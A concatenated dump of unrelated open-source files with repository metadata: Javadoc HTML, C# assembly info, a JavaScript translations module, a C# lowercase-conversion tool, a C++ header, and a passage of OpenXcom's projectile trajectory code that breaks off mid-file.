======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">ca.ualberta.cs.queueunderflow</div> <h2 title="Class User" class="title">Class User</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>ca.ualberta.cs.queueunderflow.User</li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <br> <pre>public class <span class="typeNameLabel">User</span> extends java.lang.Object</pre> <div class="block">The Class User.</div> <dl> <dt><span class="simpleTagLabel">Version:</span></dt> <dd>0.5</dd> <dt><span class="simpleTagLabel">Author:</span></dt> <dd>group 10</dd> </dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- ======== CONSTRUCTOR SUMMARY ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.summary"> <!-- --> </a> <h3>Constructor Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#User--">User</a></span>()</code> <div class="block">Instantiates a new user.</div> </td> </tr> </table> </li> </ul> <!-- ========== METHOD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="method.summary"> <!-- --> </a> <h3>Method Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Method Summary table, listing methods, and an explanation"> <caption><span id="t0" class="activeTableTab"><span>All Methods</span><span class="tabEnd">&nbsp;</span></span><span id="t1" class="tableTab"><span><a href="javascript:show(1);">Static Methods</a></span><span class="tabEnd">&nbsp;</span></span><span id="t2" class="tableTab"><span><a href="javascript:show(2);">Instance Methods</a></span><span class="tabEnd">&nbsp;</span></span><span id="t4" class="tableTab"><span><a href="javascript:show(8);">Concrete Methods</a></span><span class="tabEnd">&nbsp;</span></span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Method and Description</th> </tr> <tr id="i0" class="altColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#addUpvotedAnswer-ca.ualberta.cs.queueunderflow.models.Answer-">addUpvotedAnswer</a></span>(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Answer.html" title="class in ca.ualberta.cs.queueunderflow.models">Answer</a>&nbsp;answer)</code> <div class="block">Adds the upvoted answer.</div> </td> </tr> <tr id="i1" class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#addUpvotedQuestion-ca.ualberta.cs.queueunderflow.models.Question-">addUpvotedQuestion</a></span>(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Question.html" title="class in ca.ualberta.cs.queueunderflow.models">Question</a>&nbsp;question)</code> <div class="block">Adds the upvoted question.</div> </td> </tr> <tr id="i2" class="altColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#alreadyUpvotedAnswer-ca.ualberta.cs.queueunderflow.models.Answer-">alreadyUpvotedAnswer</a></span>(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Answer.html" title="class in ca.ualberta.cs.queueunderflow.models">Answer</a>&nbsp;answer)</code> <div class="block">Already upvoted answer.</div> </td> </tr> <tr id="i3" class="rowColor"> <td class="colFirst"><code>boolean</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#alreadyUpvotedQuestion-ca.ualberta.cs.queueunderflow.models.Question-">alreadyUpvotedQuestion</a></span>(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Question.html" title="class in ca.ualberta.cs.queueunderflow.models">Question</a>&nbsp;question)</code> <div class="block">Already upvoted question.</div> </td> </tr> <tr id="i4" class="altColor"> <td class="colFirst"><code>static java.lang.String</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#getUserName--">getUserName</a></span>()</code> <div class="block">Gets the user name.</div> </td> </tr> <tr id="i5" class="rowColor"> <td class="colFirst"><code>void</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../ca/ualberta/cs/queueunderflow/User.html#setUserName-java.lang.String-">setUserName</a></span>(java.lang.String&nbsp;userName)</code> <div class="block">Sets the user name.</div> </td> </tr> </table> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.lang.Object"> <!-- --> </a> <h3>Methods inherited from class&nbsp;java.lang.Object</h3> <code>equals, getClass, hashCode, notify, notifyAll, toString, wait, wait, wait</code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <!-- ========= CONSTRUCTOR DETAIL ======== --> <ul class="blockList"> <li class="blockList"><a name="constructor.detail"> <!-- --> </a> <h3>Constructor Detail</h3> <a name="User--"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>User</h4> <pre>public&nbsp;User()</pre> <div class="block">Instantiates a new user.</div> </li> </ul> </li> </ul> <!-- ============ METHOD DETAIL ========== --> <ul class="blockList"> <li class="blockList"><a name="method.detail"> <!-- --> </a> <h3>Method Detail</h3> <a name="setUserName-java.lang.String-"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>setUserName</h4> <pre>public&nbsp;void&nbsp;setUserName(java.lang.String&nbsp;userName)</pre> <div class="block">Sets the user name.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>userName</code> - the new user name</dd> </dl> </li> </ul> <a name="getUserName--"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>getUserName</h4> <pre>public static&nbsp;java.lang.String&nbsp;getUserName()</pre> <div class="block">Gets the user name.</div> <dl> <dt><span class="returnLabel">Returns:</span></dt> <dd>the user name</dd> </dl> </li> </ul> <a name="addUpvotedQuestion-ca.ualberta.cs.queueunderflow.models.Question-"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>addUpvotedQuestion</h4> <pre>public&nbsp;void&nbsp;addUpvotedQuestion(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Question.html" title="class in ca.ualberta.cs.queueunderflow.models">Question</a>&nbsp;question)</pre> <div class="block">Adds the upvoted question.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>question</code> - the question</dd> </dl> </li> </ul> <a name="addUpvotedAnswer-ca.ualberta.cs.queueunderflow.models.Answer-"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>addUpvotedAnswer</h4> <pre>public&nbsp;void&nbsp;addUpvotedAnswer(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Answer.html" title="class in ca.ualberta.cs.queueunderflow.models">Answer</a>&nbsp;answer)</pre> <div class="block">Adds the upvoted answer.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>answer</code> - the answer</dd> </dl> </li> </ul> <a name="alreadyUpvotedQuestion-ca.ualberta.cs.queueunderflow.models.Question-"> <!-- --> </a> <ul class="blockList"> <li class="blockList"> <h4>alreadyUpvotedQuestion</h4> <pre>public&nbsp;boolean&nbsp;alreadyUpvotedQuestion(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Question.html" title="class in ca.ualberta.cs.queueunderflow.models">Question</a>&nbsp;question)</pre> <div class="block">Already upvoted question.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>question</code> - the question</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>true, if successful</dd> </dl> </li> </ul> <a name="alreadyUpvotedAnswer-ca.ualberta.cs.queueunderflow.models.Answer-"> <!-- --> </a> <ul class="blockListLast"> <li class="blockList"> <h4>alreadyUpvotedAnswer</h4> <pre>public&nbsp;boolean&nbsp;alreadyUpvotedAnswer(<a href="../../../../ca/ualberta/cs/queueunderflow/models/Answer.html" title="class in ca.ualberta.cs.queueunderflow.models">Answer</a>&nbsp;answer)</pre> <div class="block">Already upvoted answer.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>answer</code> - the answer</dd> <dt><span class="returnLabel">Returns:</span></dt> <dd>true, if successful</dd> </dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <!-- ========= END OF CLASS DATA ========= --> <!-- ======= START OF BOTTOM NAVBAR ====== --> <div class="bottomNav"><a name="navbar.bottom"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="class-use/User.html">Use</a></li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-files/index-1.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../ca/ualberta/cs/queueunderflow/TView.html" title="interface in ca.ualberta.cs.queueunderflow"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../ca/ualberta/cs/queueunderflow/UserList.html" title="class in ca.ualberta.cs.queueunderflow"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?ca/ualberta/cs/queueunderflow/User.html" target="_top">Frames</a></li> <li><a href="User.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_bottom"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_bottom"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.summary">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#method.detail">Method</a></li> </ul> </div> <a name="skip.navbar.bottom"> <!-- --> </a></div> <!-- ======== END OF BOTTOM NAVBAR ======= --> </body> </html>
CMPUT-301F14T10/project
Doc/javadoc/ca/ualberta/cs/queueunderflow/User.html
HTML
gpl-3.0
14,795
using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; // General Information about an assembly is controlled through the following // set of attributes. Change these attribute values to modify the information // associated with an assembly. [assembly: AssemblyTitle("Wargos.Core.EntityFramework")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("Microsoft")] [assembly: AssemblyProduct("Wargos.Core.EntityFramework")] [assembly: AssemblyCopyright("Copyright © Microsoft 2017")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] // Setting ComVisible to false makes the types in this assembly not visible // to COM components. If you need to access a type in this assembly from // COM, set the ComVisible attribute to true on that type. [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("37f165fc-3188-4775-b7b9-31e4189f787b")] // Version information for an assembly consists of the following four values: // // Major Version // Minor Version // Build Number // Revision // // You can specify all the values or you can default the Build and Revision Numbers // by using the '*' as shown below: // [assembly: AssemblyVersion("1.0.*")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")]
wolf-mtwo/lagash-server
LagashServer/Wolf.Core.EntityFramework/Properties/AssemblyInfo.cs
C#
gpl-3.0
1,448
/* * Project: jsProject Examples * * File: translationsModule.js * * Purpose: * creates a json object with translations * adds the application function: getTranslation to the application * * Last Revision: 21-03-2017 * * Author: Sharesoft * Web: www.sharesoft.nl * Mail: info@sharesoft.nl * GitHub: SharesoftNL * * Copyright (C) 2017 Sharesoft * GNU General Public License 3+ * see <http://www.gnu.org/licenses/> */ // create module function ( function( sharesoft ){ // MODULE: translationsModule( sharesoft ) void sharesoft.translationsModule = function( ) { // PRIVATE: // MEMBERS var self = this; // object: self self.MODULE = 'translationsModule'; // string: module self.debugOn = false; // boolean: debugOn self.contentText = '<div>'; self.contentText += 'Settings in the settingsModule are global immutable values.'; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div>'; self.contentText += 'The settings module encapsulates these values.'; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div>'; self.contentText += 'The settingsModule is not contained in jsProject but is an extension module that will work with jsProject.'; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div>'; self.contentText += 'The settings module is specific to your project so it is not included in jsProject. Because I use it in all my projects I will descibe how to create and use it.'; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div style="color:mediumseagreen; font-size:1.1em;">'; self.contentText += 'SettingsModule has member settings: '; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div style="padding: 10px;background-color:rgb(241,255,241);"><pre>'; self.contentText += '<br>'; self.contentText += '// create member settings: ' + '<br>'; self.contentText += 'self.settings = {' + '<br>'; self.contentText += ' "keyCodes" : {' + '<br>'; self.contentText += ' "tab" : 9,' + '<br>'; self.contentText += ' "space" : 32,' + '<br>'; self.contentText += ' "enter" : 13,' + '<br>'; self.contentText += ' ...' + '<br>'; self.contentText += ' },' + '<br>'; self.contentText += ' "imageUrl" : "./images/"' + '<br>'; self.contentText += '}' + '<br>'; self.contentText += '' + '<br>'; self.contentText += '<br>'; self.contentText += '</pre></div>'; self.contentText += '<br>'; self.contentText += '<div style="color:mediumseagreen; font-size:1.1em;">'; self.contentText += 'Create the acces funtion: '; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div style="padding: 10px;background-color:rgb(241,255,241);"><pre>'; self.contentText += '<br>'; self.contentText += 'self.get = function( setting ) {' + '<br>'; self.contentText += '// FUNCTION: get( string: setting ) var' + '<br>'; self.contentText += '' + '<br>'; self.contentText += ' // setting is defined' + '<br>'; self.contentText += ' if( self.settings[setting] !== undefined ){' + '<br>'; self.contentText += ' // done' + '<br>'; self.contentText += ' return self.settings[setting];' + '<br>'; self.contentText += ' }' + '<br>'; self.contentText += ' // done setting is defined' + '<br>'; self.contentText += '' + '<br>'; self.contentText += ' // debug info' + '<br>'; self.contentText += ' self.debug( "error setting not found: " + setting );' + '<br>'; self.contentText += ' // done with error' + '<br>'; self.contentText += ' return undefined;' + '<br>'; self.contentText += '}' + '<br>'; self.contentText += '<br>'; self.contentText += '</pre></div>'; self.contentText += '<br>'; self.contentText += '<div style="color:mediumseagreen; font-size:1.1em;">'; self.contentText += 'Add the getSetting function to your project:'; self.contentText += '</div>'; self.contentText += '<br>'; self.contentText += '<div style="padding: 10px;background-color:rgb(241,255,241);"><pre>'; self.contentText += '<br>'; self.contentText += '// add get setting function' + '<br>'; self.contentText += 'sharesoft.getSetting = self.get;' + '<br>'; self.contentText += '<br>'; self.contentText += '</pre></div>'; self.contentText += '<br>'; self.translations = { // json: translations 'documentTitle' : 'Sharesoft-jsProject', 'title' : 'jsProject Examples.', 'introTitle' : 'Welcome to the jsProject examples.', 'contentTitle' : 'The settingsModule.', 'contentText' : self.contentText }; // done json: translations // DONE MEMBERS // FUNCTIONS self.construct = function() { // FUNCTION: construct( void ) void // debug info self.debug( 'construct' ); // add the extensions to sharesoft self.addApplicationsExtensions(); // DONE FUNCTION: construct( void ) void }; self.addApplicationsExtensions = function(){ // FUNCTION: addApplicationsExtensions( void ) void // add get translation function sharesoft.getTranslation = self.get; // DONE FUNCTION: addApplicationsExtensions( void ) void }; self.get = function( translationId ) { // FUNCTION: get( string: translationId ) var // translation defined if( self.translations[translationId] !== undefined ){ // done return self.translations[translationId]; } // done translation defined // debug info self.debug( 'error translation not found: ' + translationId ); // done with error return false; // DONE FUNCTION: get( string: translationId ) var }; self.debug = function( message ) { // FUNCTION: debug( string: message ) void // debug on if( self.debugOn ) { // call global debug jsProject.debug( self.MODULE + ' ' + message ); } // done debug on // DONE FUNCTION: debug( string: message ) void }; // DONE FUNCTIONS // initialize the class self.construct(); // DONE PRIVATE // PUBLIC return { }; // DONE PUBLIC }; // DONE MODULE: translationsModule( sharesoft ) void })( sharesoft ); // done create module function
SharesoftNL/jsProject
examples/settings/translationsModule_en.js
JavaScript
gpl-3.0
7,861
module ReviewVotesHelper end
OpenFn/OpenFn-Site
app/helpers/review_votes_helper.rb
Ruby
gpl-3.0
29
// Copyright (C) 2013 Andrea Esuli (andrea@esuli.it) // // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. namespace Esuli.ToLower { using System; using System.IO; /// <summary> /// This small app converts to lower case any text given as input via stdin or list of file and directories. /// Directories will be processed recursively and any file contained in them will be processed (i.e., without /// checking if it is a text file or not). /// </summary> class ToLower { public static void Usage() { Console.Error.WriteLine("Usage: ToLower [<directory/file list>+]"); Console.Error.WriteLine("Note: If no arguments are given, the program will use stdin as input."); } public static void Main(string[] args) { if (args.Length > 0) { if (args[0] == "-h" || args[0] == "--help") { Usage(); return; } } if (args.Length > 0) { for (int i = 0; i < args.Length; ++i) { if (File.Exists(args[i])) { IndexFile(new FileInfo(args[i])); } else if (Directory.Exists(args[i])) { IndexDirectory(new DirectoryInfo(args[i])); } } } else { IndexStream(Console.In); } } static void IndexDirectory(DirectoryInfo directoryInfo) { foreach (FileInfo fileInfo in directoryInfo.GetFiles()) { IndexFile(fileInfo); } foreach (DirectoryInfo dis in directoryInfo.GetDirectories()) { IndexDirectory(dis); } } static void IndexFile(FileInfo fileInfo) { StreamReader reader = File.OpenText(fileInfo.FullName); IndexStream(reader); reader.Close(); } static void IndexStream(TextReader reader) { string line; while ((line = reader.ReadLine()) != null) { Console.WriteLine(line.ToLowerInvariant()); } } } }
aesuli/dotnet-base
ToLower/ToLower.cs
C#
gpl-3.0
2,996
//Mepinta //Copyright (c) 2011-2012, Joaquin G. Duo, mepinta@joaquinduo.com.ar // //This file is part of Mepinta. // //Mepinta is free software: you can redistribute it and/or modify //it under the terms of the GNU General Public License as published by //the Free Software Foundation, either version 3 of the License, or //(at your option) any later version. // //Mepinta is distributed in the hope that it will be useful, //but WITHOUT ANY WARRANTY; without even the implied warranty of //MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the //GNU General Public License for more details. // //You should have received a copy of the GNU General Public License //along with Mepinta. If not, see <http://www.gnu.org/licenses/>. #ifndef TYPEDCOLLECTORMANAGER_H_ #define TYPEDCOLLECTORMANAGER_H_ #include <mepintasdk/sdk.h> #include "iTypedPropertiesCollector.h" #include <vector> //This class is used to collect properties with multiple types. //Append many TypedPropertiesCollect instances and then run collectProperties. //This will avoid looping on the properties for each type. class TypedCollectorManager{ public: //args: Mepinta args //in_out_id: INPUT_PROPS, OUTPUT_PROPS //TODO: INPUT_OUTPUT_PROPS //last_prop_index: the last_prop_index of the declared variables // if it's -1 it will get the one from args TypedCollectorManager(MP_args* args, const int in_out_id=CUSTOM_INPUT_PROPS): args(args),in_out_id(in_out_id),first_prop_index(0) {} //append a TypedPropertiesCollector for a specific type void appendCollector(iTypedPropertiesCollector* collector); //pop the last TypedPropertiesCollector added iTypedPropertiesCollector* popCollector(); //iterate over the properties to filter then for each required type int collectProperties(); private: //Typed Collectors added std::vector<iTypedPropertiesCollector*> collectors; //processor args MP_args* args; //Are we processing the inputs or the outputs (default is inputs) int in_out_id; //Where do we start to visit the properties? int first_prop_index; }; #endif /* TYPEDCOLLECTORMANAGER_H_ */
joaduo/mepinta
backend/c_and_cpp/backend_api_cpp/TypedCollectorManager.h
C
gpl-3.0
2,111
/* * Copyright 2010-2015 OpenXcom Developers. * * This file is part of OpenXcom. * * OpenXcom is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * OpenXcom is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with OpenXcom. If not, see <http://www.gnu.org/licenses/>. */ #define _USE_MATH_DEFINES #include <cmath> #include "Projectile.h" #include "TileEngine.h" #include "Map.h" #include "Camera.h" #include "Particle.h" #include "../Engine/SurfaceSet.h" #include "../Engine/Surface.h" #include "../Mod/Mod.h" #include "../Mod/RuleItem.h" #include "../Mod/MapData.h" #include "../Savegame/BattleUnit.h" #include "../Savegame/BattleItem.h" #include "../Savegame/SavedBattleGame.h" #include "../Savegame/Tile.h" #include "../Engine/RNG.h" #include "../Engine/Options.h" namespace OpenXcom { /** * Sets up a UnitSprite with the specified size and position. * @param mod Pointer to mod. * @param save Pointer to battlesavegame. * @param action An action. * @param origin Position the projectile originates from. * @param targetVoxel Position the projectile is targeting. * @param ammo the ammo that produced this projectile, where applicable. */ Projectile::Projectile(Mod *mod, SavedBattleGame *save, BattleAction action, Position origin, Position targetVoxel, BattleItem *ammo) : _mod(mod), _save(save), _action(action), _origin(origin), _targetVoxel(targetVoxel), _position(0), _distance(0.0f), _bulletSprite(-1), _reversed(false), _vaporColor(-1), _vaporDensity(-1), _vaporProbability(5) { // this is the number of pixels the sprite will move between frames _speed = Options::battleFireSpeed; if (_action.weapon) { if (_action.type != BA_THROW) { // try to get all the required info from the ammo, if present if (ammo) { _bulletSprite = ammo->getRules()->getBulletSprite(); _vaporColor = ammo->getRules()->getVaporColor(); _vaporDensity = ammo->getRules()->getVaporDensity(); _vaporProbability = ammo->getRules()->getVaporProbability(); _speed = std::max(1, _speed + ammo->getRules()->getBulletSpeed()); } // no ammo, or the ammo didn't contain the info we wanted, see what the weapon has on offer. if (_bulletSprite == -1) { _bulletSprite = _action.weapon->getRules()->getBulletSprite(); } if (_vaporColor == -1) { _vaporColor = _action.weapon->getRules()->getVaporColor(); } if (_vaporDensity == -1) { _vaporDensity = _action.weapon->getRules()->getVaporDensity(); } if (_vaporProbability == 5) { _vaporProbability = _action.weapon->getRules()->getVaporProbability(); } if (!ammo || (ammo != _action.weapon || ammo->getRules()->getBulletSpeed() == 0)) { _speed = std::max(1, _speed + _action.weapon->getRules()->getBulletSpeed()); } } } if ((targetVoxel.x - origin.x) + (targetVoxel.y - origin.y) >= 0) { _reversed = true; } } /** * Deletes the Projectile. */ Projectile::~Projectile() { } /** * Calculates the trajectory for a straight path. * @param accuracy The unit's accuracy. * @return The objectnumber(0-3) or unit(4) or out of map (5) or -1 (no line of fire). */ int Projectile::calculateTrajectory(double accuracy) { Position originVoxel = _save->getTileEngine()->getOriginVoxel(_action, _save->getTile(_origin)); return calculateTrajectory(accuracy, originVoxel); } int Projectile::calculateTrajectory(double accuracy, Position originVoxel, bool excludeUnit) { Tile *targetTile = _save->getTile(_action.target); BattleUnit *bu = _action.actor; _distance = 0.0f; int test; if (excludeUnit) { test = _save->getTileEngine()->calculateLine(originVoxel, _targetVoxel, false, &_trajectory, bu); } else { test = _save->getTileEngine()->calculateLine(originVoxel, _targetVoxel, false, &_trajectory, 0); } if (test != V_EMPTY && !_trajectory.empty() && _action.actor->getFaction() == FACTION_PLAYER && _action.autoShotCounter == 1 && ((SDL_GetModState() & KMOD_CTRL) == 0 || !Options::forceFire) && _save->getBattleGame()->getPanicHandled() && _action.type != BA_LAUNCH) { Position hitPos = Position(_trajectory.at(0).x/16, _trajectory.at(0).y/16, _trajectory.at(0).z/24); if (test == V_UNIT && _save->getTile(hitPos) && _save->getTile(hitPos)->getUnit() == 0) //no unit? must be lower { hitPos = Position(hitPos.x, hitPos.y, hitPos.z-1); } if (hitPos != _action.target && _action.result.empty()) { if (test == V_NORTHWALL) { if (hitPos.y - 1 != _action.target.y) { _trajectory.clear(); return V_EMPTY; } } else if (test == V_WESTWALL) { if (hitPos.x - 1 != _action.target.x) { _trajectory.clear(); return V_EMPTY; } } else if (test == V_UNIT) { BattleUnit *hitUnit = _save->getTile(hitPos)->getUnit(); BattleUnit *targetUnit = targetTile->getUnit(); if (hitUnit != targetUnit) { _trajectory.clear(); return V_EMPTY; } } else { _trajectory.clear(); return V_EMPTY; } } } _trajectory.clear(); bool extendLine = true; // even guided missiles drift, but how much is based on // the shooter's faction, rather than accuracy. if (_action.type == BA_LAUNCH) { if (_action.actor->getFaction() == FACTION_PLAYER) { accuracy = 0.60; } else { accuracy = 0.55; } extendLine = _action.waypoints.size() <= 1; } // apply some accuracy modifiers. // This will results in a new target voxel applyAccuracy(originVoxel, &_targetVoxel, accuracy, false, extendLine); // finally do a line calculation and store this trajectory. return _save->getTileEngine()->calculateLine(originVoxel, _targetVoxel, true, &_trajectory, bu); } /** * Calculates the trajectory for a curved path. * @param accuracy The unit's accuracy. * @return True when a trajectory is possible. */ int Projectile::calculateThrow(double accuracy) { Tile *targetTile = _save->getTile(_action.target); Position originVoxel = _save->getTileEngine()->getOriginVoxel(_action, 0); Position targetVoxel = _action.target * Position(16,16,24) + Position(8,8, (2 + -targetTile->getTerrainLevel())); if (_action.type != BA_THROW) { BattleUnit *tu = targetTile->getUnit(); if (!tu && _action.target.z > 0 && targetTile->hasNoFloor(0)) tu = _save->getTile(_action.target - Position(0, 0, 1))->getUnit(); if (tu) { targetVoxel.z += ((tu->getHeight()/2) + tu->getFloatHeight()) - 2; } } _distance = 0.0f; double curvature = 0.0; int retVal = V_OUTOFBOUNDS; if (_save->getTileEngine()->validateThrow(_action, originVoxel, targetVoxel, &curvature, &retVal)) { int test = V_OUTOFBOUNDS; // finally do a line calculation and store this trajectory, make sure it's valid. while (test == V_OUTOFBOUNDS) { Position deltas = targetVoxel; // apply some accuracy modifiers applyAccuracy(originVoxel, &deltas, accuracy, true, false); //calling for best flavor deltas -= targetVoxel; _trajectory.clear(); test = _save->getTileEngine()->calculateParabola(originVoxel, targetVoxel, true, &_trajectory, _action.actor, curvature, deltas); Tile *endTile = _save->getTile(_trajectory.back().toTile()); // check if the item would land on a tile with a blocking object if (_action.type == BA_THROW && endTile && endTile->getMapData(O_OBJECT) && endTile->getMapData(O_OBJECT)->getTUCost(MT_WALK) == 255) { test = V_OUTOFBOUNDS; } } return retVal; } return V_OUTOFBOUNDS; } /** * Calculates the new target in voxel space, based on the given accuracy modifier. * @param origin Startposition of the trajectory in voxels. * @param target Endpoint of the trajectory in voxels. * @param accuracy Accuracy modifier. * @param keepRange Whether range affects accuracy. * @param extendLine should this line get extended to maximum distance? */ void Projectile::applyAccuracy(const Position& origin, Position *target, double accuracy, bool keepRange, bool extendLine) { int xdiff = origin.x - target->x; int ydiff = origin.y - target->y; double realDistance = sqrt((double)(xdiff*xdiff)+(double)(ydiff*ydiff)); // maxRange is the maximum range a projectile shall ever travel in voxel space double maxRange = keepRange?realDistance:16*1000; // 1000 tiles maxRange = _action.type == BA_HIT?46:maxRange; // up to 2 tiles diagonally (as in the case of reaper v reaper) const RuleItem *weapon = _action.weapon->getRules(); if (_action.type != BA_THROW && _action.type != BA_HIT) { double modifier = 0.0; int upperLimit = weapon->getAimRange(); int lowerLimit = weapon->getMinRange(); if (Options::battleUFOExtenderAccuracy) { if (_action.type == BA_AUTOSHOT) { upperLimit = weapon->getAutoRange(); } else if (_action.type == BA_SNAPSHOT) { upperLimit = weapon->getSnapRange(); } } if (realDistance / 16 < lowerLimit) { modifier = (weapon->getDropoff() * (lowerLimit - realDistance / 16)) / 100; } else if (upperLimit < realDistance / 16) { modifier = (weapon->getDropoff() * (realDistance / 16 - upperLimit)) / 100; } accuracy = std::max(0.0, accuracy - modifier); } int xDist = abs(origin.x - target->x); int yDist = abs(origin.y - target->y); int zDist = abs(origin.z - target->z); int xyShift, zShift; if (xDist / 2 <= yDist) //yes, we need to add some x/y non-uniformity xyShift = xDist / 4 + yDist; //and don't ask why, please. it's The Commandment else xyShift = (xDist + yDist) / 2; //that's uniform part of spreading if (xyShift <= zDist) //slight z deviation zShift = xyShift / 2 + zDist; else zShift = xyShift + zDist / 2; int deviation = RNG::generate(0, 100) - (accuracy * 100); if (deviation >= 0) deviation += 50; // add extra spread to "miss" cloud else deviation += 10; //accuracy of 109 or greater will become 1 (tightest spread) deviation = std::max(1, zShift * deviation / 200); //range ratio target->x += RNG::generate(0, deviation) - deviation / 2; target->y += RNG::generate(0, deviation) - deviation / 2; target->z += RNG::generate(0, deviation / 2) / 2 - deviation / 8; if (extendLine) { double rotation, tilt; rotation = atan2(double(target->y - origin.y), double(target->x - origin.x)) * 180 / M_PI; tilt = atan2(double(target->z - origin.z), sqrt(double(target->x - origin.x)*double(target->x - origin.x)+double(target->y - origin.y)*double(target->y - origin.y))) * 180 / M_PI; // calculate new target // this new target can be very far out of the map, but we don't care about that right now double cos_fi = cos(tilt * M_PI / 180.0); double sin_fi = sin(tilt * M_PI / 180.0); double cos_te = cos(rotation * M_PI / 180.0); double sin_te = sin(rotation * M_PI / 180.0); target->x = (int)(origin.x + maxRange * cos_te * cos_fi); target->y = (int)(origin.y + maxRange * sin_te * cos_fi); target->z = (int)(origin.z + maxRange * sin_fi); } } /** * Moves further in the trajectory. * @return false if the trajectory is finished - no new position exists in the 